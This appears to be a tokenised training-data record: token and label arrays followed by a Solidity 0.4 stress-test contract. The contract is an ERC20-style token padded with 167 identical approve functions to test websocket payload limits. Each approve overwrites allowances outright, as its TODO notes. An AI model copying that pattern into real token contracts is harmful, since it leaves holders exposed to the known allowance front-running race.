0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
25187,
5048,
295,
1359,
3719,
1071,
2763,
295,
1359,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// to test issue with nodes breaking with large clients over WS
// fixed in web3 with fragmentationThreshold: 8192
pragma solidity ^0.4.17;
contract BigFreakingContract {
event Transfer(address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
mapping( address => uint ) _balances;
mapping( address => mapping( address => uint ) ) _approvals;
uint public _supply;
constructor( uint initial_balance ) public {
_balances[msg.sender] = initial_balance;
_supply = initial_balance;
}
function totalSupply() public constant returns (uint supply) {
return _supply;
}
function balanceOf( address who ) public constant returns (uint value) {
return _balances[who];
}
function transfer( address to, uint value) public returns (bool ok) {
if( _balances[msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
_balances[msg.sender] -= value;
_balances[to] += value;
emit Transfer( msg.sender, to, value );
return true;
}
function transferFrom( address from, address to, uint value) public returns (bool ok) {
// if you don't have enough balance, throw
if( _balances[from] < value ) {
revert();
}
// if you don't have approval, throw
if( _approvals[from][msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
// transfer and return true
_approvals[from][msg.sender] -= value;
_balances[from] -= value;
_balances[to] += value;
emit Transfer( from, to, value );
return true;
}
function approve(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function allowance(address owner, address spender) public constant returns (uint _allowance) {
return _approvals[owner][spender];
}
function safeToAdd(uint a, uint b) internal pure returns (bool) {
return (a + b >= a);
}
function isAvailable() public pure returns (bool) {
return false;
}
function approve_1(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_2(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_3(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_4(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_5(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_6(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_7(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_8(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_9(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_10(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_11(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_12(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_13(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_14(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_15(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_16(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_17(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_18(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_19(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_20(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_21(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_22(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_23(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_24(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_25(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_26(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_27(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_28(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_29(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_30(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_31(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_32(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_33(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_34(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_35(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_36(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_37(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_38(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_39(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_40(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_41(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_42(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_43(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_44(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_45(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_46(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_47(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_48(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_49(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_50(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_51(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_52(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_53(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_54(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_55(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_56(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_57(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_58(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_59(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_60(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_61(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_62(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_63(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_64(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_65(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_66(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_67(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_68(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_69(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_70(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_71(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_72(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_73(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_74(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_75(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_76(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_77(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_78(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_79(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_80(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_81(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_82(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_83(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_84(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_85(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_86(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_87(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_88(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_89(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_90(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_91(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_92(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_93(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_94(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_95(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_96(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_97(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_98(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_99(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_100(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_101(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_102(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_103(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_104(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_105(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_106(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_107(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_108(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_109(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_110(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_111(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_112(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_113(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_114(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_115(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_116(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_117(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_118(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_119(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_120(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_121(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_122(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_123(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_124(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_125(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_126(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_127(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_128(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_129(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_130(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_131(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_132(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_133(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_134(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_135(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_136(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_137(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_138(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_139(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_140(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_141(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_142(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_143(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_144(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_145(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_146(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_147(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_148(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_149(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_150(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_151(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_152(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_153(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_154(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_155(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_156(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_157(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_158(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_159(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_160(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_161(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_162(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_163(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_164(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_165(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_166(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_167(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
